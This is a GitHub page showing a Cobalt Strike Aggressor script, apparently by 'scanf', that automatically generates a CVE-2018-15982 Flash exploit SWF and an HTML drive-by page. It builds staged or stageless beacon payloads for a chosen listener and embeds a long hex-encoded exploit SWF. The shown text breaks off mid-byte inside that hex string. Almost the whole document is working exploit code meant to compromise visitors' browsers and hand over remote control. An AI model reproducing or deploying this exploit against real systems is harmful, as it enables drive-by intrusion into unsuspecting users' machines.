-
Notifications
You must be signed in to change notification settings - Fork 7
/
CVE-2018-15982.cna
122 lines (92 loc) · 36.1 KB
/
CVE-2018-15982.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# Automatically generate a CVE-2018-15982 SWF and HTML Driveby
# Author: scanf (@scanfsec)
# setup our stageless PowerShell Web Delivery attack
sub setup_swf_attack {
local('%options $script $url $payload');
%options = $3;
if (%options["stageless"] eq "true"){
# generate our stageless x86 payload
artifact_payload(%options["listener"], "raw", "x86");
yield;
$x86payload = $1;
# generate our stageless x64 payload
artifact_payload(%options["listener"], "raw", "x64");
yield;
$x64payload = $1;
}
else{
# Generate staged payload
$x86payload = payload(%options["listener"], "x86");
$x64payload = payload(%options["listener"], "x64");
}
$data = "";
$data1 = "\x46\x57\x53\x24\xFD\xFE\xFC\xFB\x78\x00\x07\xD0\x00\x00\x17\x70\x00\x00\x1E\x01\x00\x44\x11\x19\x00\x00\x00\x7F\x13\xCB\x01\x00\x00\x3C\x72\x64\x66\x3A\x52\x44\x46\x20\x78\x6D\x6C\x6E\x73\x3A\x72\x64\x66\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x77\x33\x2E\x6F\x72\x67\x2F\x31\x39\x39\x39\x2F\x30\x32\x2F\x32\x32\x2D\x72\x64\x66\x2D\x73\x79\x6E\x74\x61\x78\x2D\x6E\x73\x23\x27\x3E\x3C\x72\x64\x66\x3A\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x20\x72\x64\x66\x3A\x61\x62\x6F\x75\x74\x3D\x27\x27\x20\x78\x6D\x6C\x6E\x73\x3A\x64\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x70\x75\x72\x6C\x2E\x6F\x72\x67\x2F\x64\x63\x2F\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2F\x31\x2E\x31\x27\x3E\x3C\x64\x63\x3A\x66\x6F\x72\x6D\x61\x74\x3E\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x73\x68\x6F\x63\x6B\x77\x61\x76\x65\x2D\x66\x6C\x61\x73\x68\x3C\x2F\x64\x63\x3A\x66\x6F\x72\x6D\x61\x74\x3E\x3C\x64\x63\x3A\x74\x69\x74\x6C\x65\x3E\x41\x64\x6F\x62\x65\x20\x46\x6C\x65\x78\x20\x34\x20\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x3C\x2F\x64\x63\x3A\x74\x69\x74\x6C\x65\x3E\x3C\x64\x63\x3A\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x3E\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x64\x6F\x62\x65\x2E\x63\x6F\x6D\x2F\x70\x72\x6F\x64\x75\x63\x74\x73\x2F\x66\x6C\x65\x78\x3C\x2F\x64\x63\x3A\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x3E\x3C\x64\x63\x3A\x70\x75\x62\x6C\x69\x73\x68\x65\x72\x3E\x75\x6A\x77\x6B\x67\x6B\x63\x3C\x2F\x64\x63\x3A\x70\x75\x62\x6C\x69\x73\x68\x65\x72\x3E\x3C\x64\x63\x3A\x63\x72\x65\x61\x74\x6F\x72\x3E\x75\x6A\x77\x6B\x67\x6B\x63\x3C\x2F\x64\x63\x3A\x63\x72\x65\x61\x74\x6F\x72\x3E\x3C\x64\x63\x3A\x6C\x61\x6E\x67\x75\x61\x67\x65\x3E\x45\x4E\x3C\x2F\x64\x63\x3A\x6C\x61\x6E\x67\x75\x61\x67\x65\x3E\x3C\x64\x63\x3A\x64\x61\x74\x65\x3E\x53\x65\x70\x20\x31\x35\x2C\x20\x32\x30\x31\x34\x3C\x2F\x64\x63\x3A\x64\x61\x74\x65\x3E\x3C\x2F\x72\x64\x66\x3A\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x3E\x3C\x2F\x72\x64\x66\x3A\x52\x44\x46\x3E\x00\x44\x10\xE8\x03\x3C\x00\x43\x02\xFF\xFF\xFF\x5A\x0A\x03\x00\x00\x00\x06\x00\x00\x00\x04\x06\xA1\x5A\x00\x00\x00\x00\x00\x00\x13\xA4\xBE\xD8\x65\x01\x00\x00\xC5\x0A\x4D\x61\x69\x6E\x00";
$data2 = "\xBF\x14\x9C\x1E\x00\x00\x01\x00\x00\x00\x66\x72\x61\x6D\x65\x31\x00\x10\x00\x2E\x00\x13\x80\x02\x00\x18\x98\x11\xCD\xB4\xC1\x04\x80\x80\x04\x80\x80\x94\xC2\x07\xFF\xFF\x03\x80\x80\x20\xCB\x8A\xC9\xF2\x04\xC5\x98\xCD\x91\x03\xC1\x88\xD9\x8A\x04\xD0\x92\xCD\x91\x03\xD6\xD2\xC9\xA3\x07\xF4\xCA\x8D\xA3\x07\xD6\x8A\xC9\x9A\x05\xD3\x92\xBD\xF2\x04\x80\x80\x02\x00\x03\x00\x00\xE0\xFF\xFF\xFF\xEF\x41\x00\x00\x00\x00\xE0\xFF\xEF\x41\x7B\x00\x04\x76\x6F\x69\x64\x04\x75\x69\x6E\x74\x06\x43\x6C\x61\x73\x73\x30\x0C\x66\x6C\x61\x73\x68\x2E\x65\x76\x65\x6E\x74\x73\x05\x45\x76\x65\x6E\x74\x06\x53\x74\x72\x69\x6E\x67\x03\x69\x6E\x74\x04\x4D\x61\x69\x6E\x0D\x66\x6C\x61\x73\x68\x2E\x64\x69\x73\x70\x6C\x61\x79\x06\x53\x70\x72\x69\x74\x65\x04\x56\x61\x72\x35\x04\x56\x61\x72\x36\x07\x42\x6F\x6F\x6C\x65\x61\x6E\x04\x56\x61\x72\x37\x04\x56\x61\x72\x38\x04\x56\x61\x72\x39\x05\x56\x61\x72\x31\x30\x05\x56\x61\x72\x31\x31\x05\x56\x61\x72\x31\x32\x05\x56\x61\x72\x31\x33\x05\x56\x61\x72\x31\x34\x0B\x5F\x5F\x41\x53\x33\x5F\x5F\x2E\x76\x65\x63\x06\x56\x65\x63\x74\x6F\x72\x06\x43\x6C\x61\x73\x73\x35\x05\x56\x61\x72\x31\x35\x06\x43\x6C\x61\x73\x73\x33\x05\x56\x61\x72\x31\x36\x06\x43\x6C\x61\x73\x73\x34\x05\x56\x61\x72\x31\x39\x05\x56\x61\x72\x32\x30\x05\x56\x61\x72\x32\x33\x05\x56\x61\x72\x32\x35\x05\x56\x61\x72\x32\x36\x05\x56\x61\x72\x33\x32\x05\x56\x61\x72\x34\x32\x05\x56\x61\x72\x33\x38\x05\x56\x61\x72\x34\x30\x05\x56\x61\x72\x34\x33\x05\x56\x61\x72\x35\x31\x05\x56\x61\x72\x35\x36\x05\x56\x61\x72\x37\x36\x05\x56\x61\x72\x31\x37\x06\x4F\x62\x6A\x65\x63\x74\x08\x6D\x5F\x43\x6C\x61\x73\x73\x31\x06\x43\x6C\x61\x73\x73\x31\x05\x56\x61\x72\x33\x39\x05\x56\x61\x72\x32\x32\x07\x6D\x78\x2E\x63\x6F\x72\x65\x0A\x49\x46\x6C\x65\x78\x41\x73\x73\x65\x74\x0E\x42\x79\x74\x65\x41\x72\x72\x61\x79\x41\x73\x73\x65\x74\x0B\x66\x6C\x61\x73\x68\x2E\x75\x74\x69\x6C\x73\x09\x42\x79\x74\x65\x41\x72\x72\x61\x79\x16\x6D\x78\x2E\x63\x6F\x72\x65\x3A\x42\x79\x74\x65\x41\x72\x72\x61\x79\x41\x73\x73\x65\x74\x06\x43\x6C\x61\x73\x73\x36\x06\x43\x6C\x61\x73\x73\x37\x05\x56\x61\x72\x39\x38\x05\x56\x61\x72\x39\x39\x08\x74\x6F\x53\x74\x72\x69\x6E\x67\x06\x6F\x66\x66\x73\x65\x74\x06\x43\x6C\x61\x73\x73\x32\x06\x56\x61\x72\x39\x39\x37\x06\x56\x61\x72\x39\x39\x38\x06\x56\x61\x72\x39\x39\x33\x06\x56\x61\x72\x39\x39\x34\x06\x56\x61\x72\x39\x39\x35\x06\x56\x61\x72\x39\x39\x36\x04\x56\x61\x72\x31\x05\x43\x6C\x61\x73\x73\x04\x56\x61\x72\x32\x04\x56\x61\x72\x33\x04\x56\x61\x72\x34\x05\x56\x61\x72\x31\x38\x2A\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x64\x6F\x62\x65\x2E\x63\x6F\x6D\x2F\x32\x30\x30\x36\x2F\x66\x6C\x65\x78\x2F\x6D\x78\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x07\x56\x45\x52\x53\x49\x4F\x4E\x0B\x34\x2E\x36\x2E\x30\x2E\x32\x33\x32\x30\x31\x0B\x6D\x78\x5F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x21\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x6F\x62\x65\x2E\x63\x6F\x6D\x2F\x41\x53\x33\x2F\x32\x30\x30\x36\x2F\x62\x75\x69\x6C\x74\x69\x6E\x14\x66\x6C\x61\x73\x68\x2E\x64\x69\x73\x70\x6C\x61\x79\x3A\x53\x70\x72\x69\x74\x65\x24\x66\x6C\x61\x73\x68\x2E\x64\x69\x73\x70\x6C\x61\x79\x3A\x44\x69\x73\x70\x6C\x61\x79\x4F\x62\x6A\x65\x63\x74\x43\x6F\x6E\x74\x61\x69\x6E\x65\x72\x1F\x66\x6C\x61\x73\x68\x2E\x64\x69\x73\x70\x6C\x61\x79\x3A\x49\x6E\x74\x65\x72\x61\x63\x74\x69\x76\x65\x4F\x62\x6A\x65\x63\x74\x1B\x66\x6C\x61\x73\x68\x2E\x64\x69\x73\x70\x6C\x61\x79\x3A\x44\x69\x73\x70\x6C\x61\x79\x4F\x62\x6A\x65\x63\x74\x1C\x66\x6C\x61\x73\x68\x2E\x65\x76\x65\x6E\x74\x73\x3A\x45\x76\x65\x6E\x74\x44\x69\x73\x70\x61\x74\x63\x68\x65\x72\x05\x73\x74\x61\x67\x65\x10\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72\x0E\x41\x44\x44\x45\x44\x5F\x54\x4F\x5F\x53\x54\x41\x47\x45\x09\x66\x6C\x61\x73\x68\x2E\x6E\x65\x74\x0F\x4C\x6F\x63\x61\x6C\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x01\x41\x07\x63\x6F\x6E\x6E\x65\x63\x74\x05\x45\x72\x72\x6F\x72\x01\x65\x0C\x66\x6C\x61\x73\x68\x2E\x73\x79\x73\x74\x65\x6D\x0C\x43\x61\x70\x61\x62\x69\x6C\x69\x74\x69\x65\x73\x0A\x69\x73\x44\x65\x62\x75\x67\x67\x65\x72\x06\x6C\x65\x6E\x67\x74\x68\x07\x76\x65\x72\x73\x69\x6F\x6E\x01\x2C\x05\x73\x70\x6C\x69\x74\x05\x41\x72\x72\x61\x79\x01\x20\x08\x70\x61\x72\x73\x65\x49\x6E\x74\x04\x63\x61\x6C\x6C\x05\x61\x70\x70\x6C\x79\x08\x70\x6F\x73\x69\x74\x69\x6F\x6E\x0F\x72\x65\x61\x64\x55\x6E\x73\x69\x67\x6E\x65\x64\x49\x6E\x74\x04\x70\x75\x73\x68\x13\x72\x65\x6D\x6F\x76\x65\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72\x06\x45\x6E\x64\x69\x61\x6E\x0D\x4C\x49\x54\x54\x4C\x45\x5F\x45\x4E\x44\x49\x41\x4E\x06\x65\x6E\x64\x69\x61\x6E\x22\x63\x6F\x6D\x2E\x61\x64\x6F\x62\x65\x2E\x74\x76\x73\x64\x6B\x2E\x6D\x65\x64\x69\x61\x63\x6F\x72\x65\x2E\x6D\x65\x74\x61\x64\x61\x74\x61\x08\x4D\x65\x74\x61\x64\x61\x74\x61\x09\x73\x65\x74\x4F\x62\x6A\x65\x63\x74\x06\x6B\x65\x79\x53\x65\x74\x0A\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x0F\x45\x76\x65\x6E\x74\x44\x69\x73\x70\x61\x74\x63\x68\x65\x72\x0D\x44\x69\x73\x70\x6C\x61\x79\x4F\x62\x6A\x65\x63\x74\x11\x49\x6E\x74\x65\x72\x61\x63\x74\x69\x76\x65\x4F\x62\x6A\x65\x63\x74\x16\x44\x69\x73\x70\x6C\x61\x79\x4F\x62\x6A\x65\x63\x74\x43\x6F\x6E\x74\x61\x69\x6E\x65\x72\x02\x30\x78\x01\x60\x22\x16\x01\x16\x05\x16\x0A\x18\x09\x16\x17\x05\x00\x18\x1D\x18\x19\x16\x31\x16\x34\x18\x36\x18\x37\x18\x38\x18\x04\x18\x3D\x18\x1B\x18\x2E\x08\x4A\x05\x00\x17\x01\x08\x4E\x1A\x09\x1A\x4F\x1A\x50\x1A\x51\x1A\x52\x1A\x53\x16\x57\x16\x5D\x16\x70\x05\x00\x05\x00\x1A\x1B\x06\x01\x09\x0D\x06\x01\x13\x14\x15\x04\x16\x17\x18\x19\x1A\x1B\x05\x0C\x06\x01\x13\x14\x15\x04\x16\x17\x18\x19\x1A\x1B\x01\x01\x07\x1F\x01\x20\x14\x15\x10\x21\x75\x07\x01\x02\x07\x01\x03\x07\x01\x04\x07\x02\x06\x07\x01\x07\x07\x01\x08\x07\x01\x09\x07\x03\x0B\x07\x01\x0C\x07\x01\x0D\x07\x01\x0E\x07\x01\x0F\x07\x01\x10\x07\x01\x11\x07\x01\x12\x07\x01\x13\x07\x01\x14\x07\x01\x15\x07\x01\x16\x07\x05\x18\x07\x01\x19\x1D\x14\x01\x15\x07\x01\x1A\x07\x01\x1B\x1D\x14\x01\x18\x07\x01\x1C\x07\x01\x1D\x1D\x14\x01\x1B\x07\x06\x1E\x07\x06\x1F\x07\x06\x20\x07\x06\x21\x07\x06\x22\x07\x06\x23\x07\x06\x24\x07\x06\x25\x07\x01\x26\x07\x06\x27\x07\x06\x28\x07\x06\x29\x07\x06\x2A\x07\x06\x2B\x07\x01\x2C\x07\x01\x2D\x07\x01\x2E\x07\x01\x2F\x07\x01\x30\x07\x09\x32\x07\x09\x33\x07\x0A\x35\x09\x32\x01\x07\x01\x37\x07\x01\x38\x07\x01\x39\x07\x01\x3A\x07\x01\x3B\x07\x01\x3C\x07\x01\x3D\x07\x01\x3E\x07\x01\x3F\x07\x01\x40\x07\x01\x41\x07\x01\x42\x07\x01\x43\x07\x01\x44\x07\x01\x45\x07\x01\x46\x07\x01\x47\x07\x01\x48\x07\x01\x49\x07\x12\x4B\x07\x09\x4D\x09\x18\x02\x07\x01\x54\x07\x01\x55\x07\x01\x56\x07\x1C\x58\x07\x01\x5A\x07\x01\x5B\x07\x01\x5C\x1B\x03\x07\x1D\x5E\x07\x01\x5F\x07\x01\x60\x1D\x14\x01\x02\x07\x01\x61\x07\x15\x63\x07\x01\x64\x09\x63\x03\x07\x01\x66\x07\x15\x67\x07\x15\x68\x07\x01\x69\x07\x01\x6A\x07\x15\x6B\x1D\x14\x01\x3A\x07\x01\x6C\x07\x0A\x6D\x07\x01\x6E\x07\x01\x6F\x1D\x14\x01\x05\x07\x15\x3B\x07\x1E\x71\x07\x01\x72\x07\x01\x73\x07\x15\x74\x07\x02\x75\x07\x03\x76\x07\x03\x77\x07\x03\x78\x09\x33\x01\x09\x37\x04\x09\x38\x04\x09\x60\x05\x09\x6F\x05\x09\x2E\x04\x33\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x01\x02\x02\x00\x00\x02\x01\x02\x02\x00\x00\x01\x02\x02\x00\x00\x04\x02\x02\x02\x02\x02\x00\x00\x04\x02\x02\x02\x02\x02\x00\x00\x01\x02\x03\x00\x00\x02\x01\x03\x02\x00\x00\x01\x03\x03\x00\x00\x04\x03\x02\x02\x02\x03\x00\x00\x04\x03\x02\x02\x02\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\x01\x04\x00\x08\x01\x0C\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x02\x02\x00\x00\x00\x05\x00\x00\x01\x03\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x07\x08\x09\x04\x00\x02\x1A\x09\x00\x00\x05\x01\x01\x0A\x00\x00\x0B\x0A\x0A\x0C\x00\x00\x0B\x0A\x0A\x0D\x00\x00\x0B\x0A\x0A\x0E\x00\x00\x02\x01\x03\x0F\x00\x00\x02\x02\x03\x10\x00\x00\x03\x0C\x0C\x11\x00\x00\x02\x02\x03\x12\x00\x00\x02\x02\x03\x13\x00\x00\x16\x00\x17\x00\x00\x19\x00\x1A\x00\x00\x1C\x00\x1D\x01\x00\x03\x1E\x01\x00\x04\x1F\x01\x00\x05\x20\x01\x00\x06\x21\x01\x00\x07\x22\x01\x00\x08\x23\x01\x00\x09\x24\x01\x00\x0A\x25\x01\x00\x0B\x26\x01\x00\x0C\x27\x01\x00\x0D\x28\x01\x00\x0E\x29\x01\x00\x0F\x2A\x01\x00\x10\x1B\x2B\x09\x07\x00\x13\x01\x2C\x00\x00\x2D\x00\x15\x2B\x09\x08\x00\x16\x02\x2E\x00\x00\x02\x03\x03\x2F\x00\x00\x02\x04\x03\x30\x00\x05\x00\x19\x00\x31\x32\x09\x0B\x01\x33\x1C\x00\x34\x31\x09\x0C\x00\x1F\x00\x35\x31\x09\x0D\x00\x22\x00\x03\x2B\x09\x0E\x00\x25\x04\x36\x00\x00\x02\x00\x37\x00\x00\x02\x00\x38\x01\x00\x26\x39\x01\x00\x27\x3A\x2B\x09\x0F\x00\x2A\x01\x3B\x00\x00\x2B\x0C\x0C\x18\x2B\x09\x10\x00\x2D\x02\x3C\x00\x00\x2B\x00\x2C\x00\x00\x2D\x00\x2D\x2B\x09\x11\x00\x30\x04\x3D\x00\x00\x02\x01\x06\x3E\x00\x00\x02\x01\x06\x3F\x00\x00\x02\x01\x06\x40\x00\x00\x02\x01\x06\x00\x05\x41\x00\x01\x42\x00\x43\x00\x02\x42\x00\x44\x00\x03\x32\x00\x45\x00\x04\x32\x00\x46\x11\x03\x01\x12\x00\x15\x00\x18\x00\x1B\x01\x47\x06\x01\x05\x4C\x01\x1E\x00\x21\x00\x24\x00\x29\x00\x2C\x00\x2F\x00\x0C\x11\x01\x07\x04\x01\x00\x14\x01\x1B\x04\x01\x01\x17\x01\x15\x04\x01\x02\x1A\x01\x30\x04\x00\x03\x1D\x01\x31\x04\x00\x04\x20\x01\x34\x04\x00\x05\x23\x01\x35\x04\x00\x06\x28\x01\x03\x04\x01\x07\x2B\x01\x3A\x04\x01\x08\x2E\x01\x18\x04\x01\x09\x31\x01\x2D\x04\x00\x0A\x32\x01\x48\x06\x00\x00\x12\x08\x32\x00\x02\x01\x08\x09\x0F\xD0\x30\x5E\x41\x60\x35\x61\x41\x5E\x43\x60\x34\x61\x43\x47\x00\x00\x01\x01\x02\x08\x09\x03\xD0\x30\x47\x00\x00\x02\x03\x01\x09\x0A\x4A\xD0\x30\xD0\x60\x49\x60\x15\x53\x01\x25\x80\x04\x42\x01\x68\x13\xD0\x60\x49\x60\x18\x53\x01\x25\x80\x04\x42\x01\x68\x17\xD0\x60\x49\x60\x1B\x53\x01\x25\x80\x04\x42\x01\x68\x1A\xD0\x49\x00\x60\x4A\x12\x08\x00\x00\xD0\x4F\x2A\x00\x10\x0C\x00\x00\x5D\x4B\x60\x04\x66\x4C\xD0\x66\x2A\x4F\x4B\x02\x47\x00\x00\x03\x03\x02\x09\x0C\x29\xD0\x30\x5D\x4D\x4A\x4D\x00\x2C\x59\x4F\x4E\x01\x5D\x4D\x4A\x4D\x00\x2C\x59\x4F\x4E\x01\x10\x0E\x00\x00\xD0\x30\x5A\x00\x2A\xD5\x2A\x30\x2B\x6D\x01\x1D\x08\x01\x47\x01\x02\x16\x1A\x4F\x50\x00\x04\x03\x03\x09\x0A\x31\xD0\x30\x24\x00\x74\xD6\xD0\x66\x13\xD0\x66\x11\x66\x51\xD1\x24\x10\xA1\x61\x2F\xD0\x66\x17\xD0\x66\x12\x66\x51\x66\x2C\x66\x3D\x74\xD6\xD0\x66\x13\xD0\x66\x11\x66\x51\xD0\x66\x0F\x61\x2F\xD2\x48\x00\x00\x05\x03\x03\x09\x0A\x2B\xD0\x30\xD0\x66\x13\xD0\x66\x11\x66\x51\xD1\x24\x10\xA1\x61\x2F\xD0\x66\x17\xD0\x66\x12\x66\x51\x66\x2C\xD2\x61\x3D\xD0\x66\x13\xD0\x66\x11\x66\x51\xD0\x66\x0F\x61\x2F\x47\x00\x00\x06\x02\x02\x09\x0A\x27\xD0\x30\xD1\x2F\x02\xA8\x74\xD5\x10\x14\x00\x00\x09\xD0\xD1\x46\x1E\x01\x2D\x05\x14\x02\x00\x00\xD1\x48\xD1\x2D\x06\xA1\x74\xD5\x10\xE8\xFF\xFF\x24\x00\x48\x00\x00\x07\x07\x09\x09\x0A\x98\x01\xD0\x30\x24\x00\x74\x63\x07\x24\x00\x74\x63\x08\x62\x04\xD0\x62\x04\xD0\x62\x04\x24\x3C\xA0\x46\x1E\x01\xA0\x25\x80\x01\xA0\x46\x1E\x01\xA0\x74\x63\x05\x24\xFF\x63\x06\x10\x4B\x00\x00\x09\xD0\x62\x05\x62\x06\xC0\x2A\x73\x63\x06\x24\x14\xA2\xA0\x24\x0C\xA0\x46\x1E\x01\x74\x2A\x63\x07\x11\x06\x00\x00\x5D\x4F\x4A\x4F\x00\x03\x62\x04\x62\x07\xA0\x74\x63\x08\xD0\x62\x08\x46\x1E\x01\xD1\xAB\x2A\x12\x0B\x00\x00\x29\xD0\x62\x08\xD3\xA0\x46\x1E\x01\xD2\xAB\x12\x04\x00\x00\x10\x04\x00\x00\x10\xB1\xFF\xFF\xD0\xD0\x62\x04\xD0\x62\x05\x62\x06\x24\x14\xA2\xA0\x24\x10\xA0\x46\x1E\x01\xA0\x46\x1E\x01\x46\x20\x01\x48\x00\x00\x08\x07\x0D\x09\x0A\xDA\x01\xD0\x30\x24\x00\x74\x63\x0B\x24\x00\x74\x63\x0C\x62\x04\xD0\x62\x04\xD0\x62\x04\x24\x3C\xA0\x46\x1E\x01\xA0\x24\x78\xA0\x46\x1E\x01\xA0\x74\x63\x05\xD0\x62\x05\x24\x18\xA0\x46\x1E\x01\x74\x63\x06\x62\x04\xD0\x62\x05\x24\x1C\xA0\x46\x1E\x01\xA0\x74\x63\x07\x62\x04\xD0\x62\x05\x24\x20\xA0\x46\x1E\x01\xA0\x74\x63\x08\x62\x04\xD0\x62\x05\x24\x24\xA0\x46\x1E\x01\xA0\x74\x63\x09\x24\x00\x74\x63\x0A\x10\x52\x00\x00\x09\xD0\x62\x08\x62\x0A\x24\x04\xA2\xA0\x46\x1E\x01\x74\x63\x0B\x62\x04\x62\x0B\xA0\x74\x63\x0C\xD0\x62\x0C\x46\x1E\x01\xD1\xAB\x2A\x12\x0B\x00\x00\x29\xD0\x62\x0C\xD3\xA0\x46\x1E\x01\xD2\xAB\x12\x18\x00\x00\xD0\x62\x0C\xD3\xA0\x24\x02\xA0\x46\x1E\x01\x2F\x02\xA8\x2D\x07\x13\x04\x00\x00\x10\x0A\x00\x00\x62\x0A\x91\x74\x63\x0A\x10\xAA\xFF\xFF\x62\x04\xD0\x62\x07\xD0\x62\x09\x62\x0A\x24\x02\xA2\xA0\x46\x1E\x01\x2D\x08\xA8\x24\x04\xA2\xA0\x46\x1E\x01\xA0\x48\x00\x00\x09\x03\x03\x09\x0A\x51\xD0\x30\x24\x00\x74\xD6\xD0\x66\x13\xD0\x66\x11\x66\x51\xD1\x66\x36\x61\x2F\xD0\x66\x13\xD0\x66\x11\x66\x51\xD1\x66\x37\x24\x20\xA1\x61\x2E\xD0\x66\x1A\xD0\x66\x12\x66\x51\x66\x2C\x66\x3D\x74\xD6\xD0\x66\x13\xD0\x66\x11\x66\x51\xD0\x66\x10\x66\x36\x61\x2F\xD0\x66\x13\xD0\x66\x11\x66\x51\xD0\x66\x10\x66\x37\x61\x2E\xD2\x48\x00\x00\x0A\x03\x03\x09\x0A\x4B\xD0\x30\xD0\x66\x13\xD0\x66\x11\x66\x51\xD1\x66\x36\x61\x2F\xD0\x66\x13\xD0\x66\x11\x66\x51\xD1\x66\x37\x24\x20\xA1\x61\x2E\xD0\x66\x1A\xD0\x66\x12\x66\x51\x66\x2C\xD2\x61\x3D\xD0\x66\x13\xD0\x66\x11\x66\x51\xD0\x66\x10\x66\x36\x61\x2F\xD0\x66\x13\xD0\x66\x11\x66\x51\xD0\x66\x10\x66\x37\x61\x2E\x47\x00\x00\x0B\x03\x03\x09\x0A\x3C\xD0\x30\x5D\x03\xD1\x66\x37\x2F\x02\xA8\xD1\x66\x36\x4A\x03\x02\x80\x03\xD6\x10\x1B\x00\x00\x09\xD0\xD2\x46\x23\x01\x2D\x05\x14\x02\x00\x00\xD2\x48\xD2\x25\x80\xE0\xFF\xFF\x0F\x46\x39\x01\x80\x03\xD6\x10\xE1\xFF\xFF\x5D\x4F\x4A\x4F\x00\x03\x00\x00\x0C\x06\x0E\x09\x0A\xFC\x01\xD0\x30\x20\x80\x03\x63\x0B\x20\x80\x03\x63\x0C\x20\x80\x03\x63\x0D\x24\x00\x74\x63\x05\xD0\x62\x04\x24\x3C\x46\x39\x01\x46\x23\x01\x74\x63\x06\x62\x04\x62\x06\x46\x39\x01\x80\x03\x2A\x63\x07\x25\x90\x01\x46\x39\x01\x80\x03\x63\x08\x5D\x03\x62\x04\x66\x37\xD0\x62\x08\x46\x23\x01\xA0\x62\x04\x66\x36\x4A\x03\x02\x80\x03\x63\x09\xD0\x62\x08\x24\x04\x46\x39\x01\x46\x23\x01\x74\x63\x0A\x10\x8A\x00\x00\x09\x62\x09\x62\x05\x24\x14\xA2\x46\x39\x01\x80\x03\x63\x0B\x5D\x03\xD0\x62\x0B\x24\x0C\x46\x39\x01\x46\x23\x01\x62\x04\x66\x37\xA0\x62\x04\x66\x36\x4A\x03\x02\x80\x03\x63\x0C\x5D\x03\xD0\x62\x0B\x24\x10\x46\x39\x01\x46\x23\x01\x62\x04\x66\x37\xA0\x62\x04\x66\x36\x4A\x03\x02\x80\x03\x63\x0D\xD0\x62\x0C\x46\x23\x01\xD1\xAB\x2A\x12\x0D\x00\x00\x29\xD0\x62\x0C\xD3\x46\x39\x01\x46\x23\x01\xD2\xAB\x12\x1B\x00\x00\xD0\x5D\x03\xD0\x62\x0D\x46\x23\x01\xD0\x62\x0D\x24\x04\x46\x39\x01\x46\x23\x01\x4A\x03\x02\x46\x25\x01\x48\x62\x05\x24\x01\xA0\x74\x63\x05\x62\x05\x62\x0A\x15\x6E\xFF\xFF\x5D\x4F\x4A\x4F\x00\x03\x00\x00\x0D\x06\x12\x09\x0A\xEA\x02\xD0\x30\x20\x80\x03\x63\x0E\x24\x00\x74\x63\x10\x20\x80\x03\x63\x11\xD0\x62\x04\x24\x3C\x46\x39\x01\x46\x23\x01\x74\x63\x05\x62\x04\x62\x05\x46\x39\x01\x80\x03\x2A\x63\x06\x25\x88\x01\x46\x39\x01\x80\x03\x63\x07\x5D\x03\x62\x04\x66\x37\xD0\x62\x07\x46\x23\x01\xA0\x62\x04\x66\x36\x4A\x03\x02\x80\x03\x63\x08\xD0\x62\x07\x24\x04\x46\x39\x01\x46\x23\x01\x74\x63\x09\xD0\x62\x08\x24\x18\x46\x39\x01\x46\x23\x01\x74\x63\x0A\x5D\x03\xD0\x62\x08\x24\x1C\x46\x39\x01\x46\x23\x01\x62\x04\x66\x37\xA0\x62\x04\x66\x36\x4A\x03\x02\x80\x03\x63\x0B\x5D\x03\xD0\x62\x08\x24\x20\x46\x39\x01\x46\x23\x01\x62\x04\x66\x37\xA0\x62\x04\x66\x36\x4A\x03\x02\x80\x03\x63\x0C\x5D\x03\xD0\x62\x08\x24\x24\x46\x39\x01\x46\x23\x01\x62\x04\x66\x37\xA0\x62\x04\x66\x36\x4A\x03\x02\x80\x03\x63\x0D\x24\x00\x74\x63\x0F\x10\x93\x00\x00\x09\x5D\x03\x62\x04\x66\x37\xD0\x62\x0C\x62\x0F\x24\x04\xA2\x46\x39\x01\x46\x23\x01\xA0\x62\x04\x66\x36\x4A\x03\x02\x80\x03\x63\x0E\xD0\x62\x0E\x46\x23\x01\xD1\xAB\x2A\x12\x0D\x00\x00\x29\xD0\x62\x0E\xD3\x46\x39\x01\x46\x23\x01\xD2\xAB\x12\x4C\x00\x00\xD0\x62\x0E\xD3\x24\x02\xA0\x46\x39\x01\x46\x23\x01\x2F\x02\xA8\x2D\x07\x13\x36\x00\x00\xD0\x62\x0D\x62\x0F\x24\x02\xA2\x46\x39\x01\x46\x23\x01\x2D\x08\xA8\x24\x04\xA2\x74\x